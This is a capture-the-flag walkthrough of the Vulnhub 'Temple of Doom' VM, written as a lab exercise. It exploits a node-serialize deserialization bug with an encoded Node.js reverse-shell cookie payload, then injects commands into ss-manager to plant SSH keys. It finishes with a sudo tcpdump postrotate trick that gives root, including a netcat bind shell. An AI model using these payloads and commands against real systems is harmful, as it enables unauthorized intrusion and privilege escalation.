Temple of doom

In this CTF, we will learn how to exploit a bug in the object serialization in NodeJS, allowing us to gain shell access to the system and escalate privileges to root.

Download the VM from Vulnhub or directly from AlfaExploit.
https://www.vulnhub.com/entry/temple-of-doom-1,243/
temple-of-DOOM-v1.ova

Scan the open ports of the host:

RX4 ☢ /home/kr0m> nmap -sT 192.168.20.103 -p 0-65535

Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-04 09:20 CEST
Nmap scan report for 192.168.20.103
Host is up (0.0016s latency).
Not shown: 65534 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
666/tcp open  doom
MAC Address: 08:00:27:52:19:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.31 seconds

Manually test a connection to port 666:

RX4 ☢ ~> curl 192.168.20.103:666 -v

* Rebuilt URL to: 192.168.20.103:666/
* Trying 192.168.20.103...
* TCP_NODELAY set
* Connected to 192.168.20.103 (192.168.20.103) port 666 (#0)
> GET / HTTP/1.1
> Host: 192.168.20.103:666
> User-Agent: curl/7.61.0
> Accept: */*
>
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Set-Cookie: profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D; Max-Age=900; Path=/; Expires=Tue, 04 Sep 2018 07:39:24 GMT; HttpOnly
< Content-Type: text/html; charset=utf-8
< Content-Length: 36
< ETag: W/"24-xWt5IUP3GfGbHraPgY5EGPpcNzA"
< Date: Tue, 04 Sep 2018 07:24:24 GMT
< Connection: keep-alive
<
* Connection #0 to host 192.168.20.103 left intact
Under Construction, Come Back Later!

It seems to be written in NodeJS (Express):

X-Powered-By: Express

http://expressjs.com/

If we decode the cookie as base64:

echo "eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D" | base64 -d

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}

Let’s make requests by inserting the cookie:

RX4 ✺ ~> curl -v --cookie "profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D" http://192.168.20.103:666

* Rebuilt URL to: http://192.168.20.103:666/
* Trying 192.168.20.103...
* TCP_NODELAY set
* Connected to 192.168.20.103 (192.168.20.103) port 666 (#0)
> GET / HTTP/1.1
> Host: 192.168.20.103:666
> User-Agent: curl/7.61.0
> Accept: */*
> Cookie: profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D
>
< HTTP/1.1 500 Internal Server Error
< X-Powered-By: Express
< Content-Security-Policy: default-src 'self'
< X-Content-Type-Options: nosniff
< Content-Type: text/html; charset=utf-8
< Content-Length: 1155
< Date: Tue, 04 Sep 2018 10:29:22 GMT
< Connection: keep-alive
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected token F in JSON at position 79<br> &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)<br> &nbsp; &nbsp;at /home/nodeadmin/.web/server.js:12:29<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)</pre>
</body>
</html>
* Connection #0 to host 192.168.20.103 left intact

Some valuable information is:

/home/nodeadmin/.web/ --> DoocRoot  
/home/nodeadmin --> Username

Based on the error, it seems that it is trying to convert the cookie from JSON format to a JavaScript object:

JSON.parse() is used to convert a string containing JSON notation into a JavaScript object.

Object serialization in nodejs can be exploited:
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

With the Python script, we will generate our shellcode to perform a reverse shell.

RX4 ✺ ~> wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py
RX4 ✺ ~> python nodejsshell.py 192.168.20.114 7777

[+] LHOST = 192.168.20.114
[+] LPORT = 7777
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,50,48,46,49,49,52,34,59,10,80,79,82,84,61,34,55,55,55,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

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}()"}

We pass the (shellcode javascript converted to hexcodes) to base64:
https://www.base64encode.org/

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We start listening on our RS reception socket:

RX4 ✺ ~> nc -l -p 7777

We connect with the prepared cookie:

RX4 ✺ ~> curl -v --cookie “profile=eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwxMTgsOTcsMTE0LDMyLDExMCwxMDEsMTE2LDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSwxMTAsMTAxLDExNiwzOSw0MSw1OSwxMCwxMTgsOTcsMTE0LDMyLDExNSwxMTIsOTcsMTE5LDExMCwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDExNSwxMTIsOTcsMTE5LDExMCw1OSwxMCw3Miw3OSw4Myw4NCw2MSwzNCw0OSw1Nyw1MCw0Niw0OSw1NCw1Niw0Niw1MCw0OCw0Niw0OSw0OSw1MiwzNCw1OSwxMCw4MCw3OSw4Miw4NCw2MSwzNCw1Myw0OCw0OCw0OCwzNCw1OSwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSwxMDAsMzksNDEsMzIsMTIzLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyLDExNiwxMDQsMTA1LDExNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiw0MCwxMDUsMTE2LDQxLDMyLDMzLDYxLDMyLDQ1LDQ5LDU5LDMyLDEyNSw1OSwzMiwxMjUsMTAsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDMyLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsOTcsMTE0LDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsODMsMTExLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTA1LDExMCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTE5LDExNCwxMDUsMTE2LDEwMSw0MCwzNCw2NywxMTEsMTEwLDExMCwxMDEsOTksMTE2LDEwMSwxMDAsMzMsOTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTA1LDExMCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MCw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDU5LDEwKSl9KCkifQ” http://192.168.20.103:666

And we get our well-deserved reward:

RX4 ✺ ~> nc -l -p 7777

Connected!

uid=1001(nodeadmin) gid=1001(nodeadmin) groups=1001(nodeadmin)

mkdir .ssh
echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVQnniSdSbjmAtjMfLpj5hjTRz8Xr/5pn7G43cznRXSQ3zCG6QvEqNEOxVkMfvDx+esIaINrecyD388l9gctqrXb13kE7JxQZnXW6rnJcCG96r006nR1sz7bXrj0OGRBIag53MK4fX1MhkJi6bsV4JiOEBB5bnnDvD1YuuO6zEPIl58w4h21JI7R78Zg9nWwAyNBgJsaCq4kyt1g4GpRtil00V0GERMfyKaS3CcjvSHMQKNR8INzW+BCo8KIZCUXdgl7h4qjo0064/1tCWNo6Yv1gtnjxK3nWo6AaC9Cno58RCb0FuRg+GS5LGQuKRXH8NdTYl4KG4usrtfSbO6pCf kr0m@skynet” > .ssh/authorized_keys

Now we can connect via ssh:

RX4 ✺ ~> ssh nodeadmin@192.168.20.103 -p22

Last failed login: Tue Sep 4 07:10:40 EDT 2018 from 192.168.20.114 on ssh:notty
There were 10 failed login attempts since the last successful login.
Last login: Sun Jun 3 15:26:34 2018 from 192.168.2.15

[nodeadmin@vmKr0m ~]$ uname -a
Linux vmKr0m 4.16.3-301.fc28.x86_64 #1 SMP Mon Apr 23 21:59:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

[nodeadmin@vmKr0m ~]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
nodeadmin:x:1001:1001::/home/nodeadmin:/bin/bash
fireman:x:1002:1002::/home/fireman:/bin/bash

The other user has something called ss-manager running:

[nodeadmin@vmKr0m ~]$ ps aux|grep fireman

root       832  0.0  0.1 301464  4512 ?        S    03:19   0:00 su fireman -c /usr/local/bin/ss-manager
fireman    835  0.0  0.0  37060  3916 ?        Ss   03:19   0:00 /usr/local/bin/ss-manager

We can execute code as fireman:
https://www.exploit-db.com/exploits/43006/

Let’s try creating a file in /tmp/:

[nodeadmin@vmKr0m ~]$ nc -u 127.0.0.1 8839

    add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}
ok

[nodeadmin@vmKr0m ~]$ ls -la /tmp/evil

-rw------- 1 fireman fireman 0 sep 4 09:23 /tmp/evil

Now let’s add our ssh pubkey:

[nodeadmin@vmKr0m ~]$ nc -u 127.0.0.1 8839

 add: {"server_port":8003, "password":"test", "method":"||mkdir /home/fireman/.ssh||"}

[nodeadmin@vmKr0m ~]$ nc -u 127.0.0.1 8839

 add: {"server_port":8003, "password":"test", "method":"||echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVQnniSdSbjmAtjMfLpj5hjTRz8Xr/5pn7G43cznRXSQ3zCG6QvEqNEOxVkMfvDx+esIaINrecyD388l9gctqrXb13kE7JxQZnXW6rnJcCG96r006nR1sz7bXrj0OGRBIag53MK4fX1MhkJi6bsV4JiOEBB5bnnDvD1YuuO6zEPIl58w4h21JI7R78Zg9nWwAyNBgJsaCq4kyt1g4GpRtil00V0GERMfyKaS3CcjvSHMQKNR8INzW+BCo8KIZCUXdgl7h4qjo0064/1tCWNo6Yv1gtnjxK3nWo6AaC9Cno58RCb0FuRg+GS5LGQuKRXH8NdTYl4KG4usrtfSbO6pCf kr0m@skynet' > /home/fireman/.ssh/authorized_keys||"}

We access via ssh:

RX4 ✺ ~> ssh fireman@192.168.20.103 -p22

Last failed login: Tue Sep 4 07:58:33 EDT 2018 on pts/0
There was 1 failed login attempt since the last successful login.
Last login: Tue Sep 4 03:19:41 2018

[fireman@vmKr0m ~]$ id
uid=1002(fireman) gid=1002(fireman) grupos=1002(fireman)

In the history, we see some commands executed using sudo:

 29 sudo iptables -L

Let’s see what we are allowed to execute:

[fireman@vmKr0m ~]$ sudo -l

Matching Defaults entries for fireman on vmKr0m:
 !visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
 env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME
 LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fireman may run the following commands on vmKr0m:
 (ALL) NOPASSWD: /sbin/iptables
 (ALL) NOPASSWD: /usr/bin/nmcli
 (ALL) NOPASSWD: /usr/sbin/tcpdump

We can take advantage of tcpdump using the option:

-z postrotate-command

We create the file with the command to execute, in this case, the id command:

vi /tmp/.test

id

chmod 777 /tmp/.test

We execute tcpdump using sudo:

[fireman@vmKr0m ~]$ sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
23 packets received by filter
0 packets dropped by kernel
2 packets dropped by interface
[fireman@vmKr0m ~]$ uid=0(root) gid=0(root) grupos=0(root)

But this looks interesting… this time I set up a netcat listener:

vi /tmp/.test

nc -l -p 4444 -e /bin/bash

I run tcpdump again:

[fireman@vmKr0m ~]$ sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

I connect to port 4444:

RX4 ✺ ~> nc 192.168.20.103 4444

uid=0(root) gid=0(root) groups=0(root)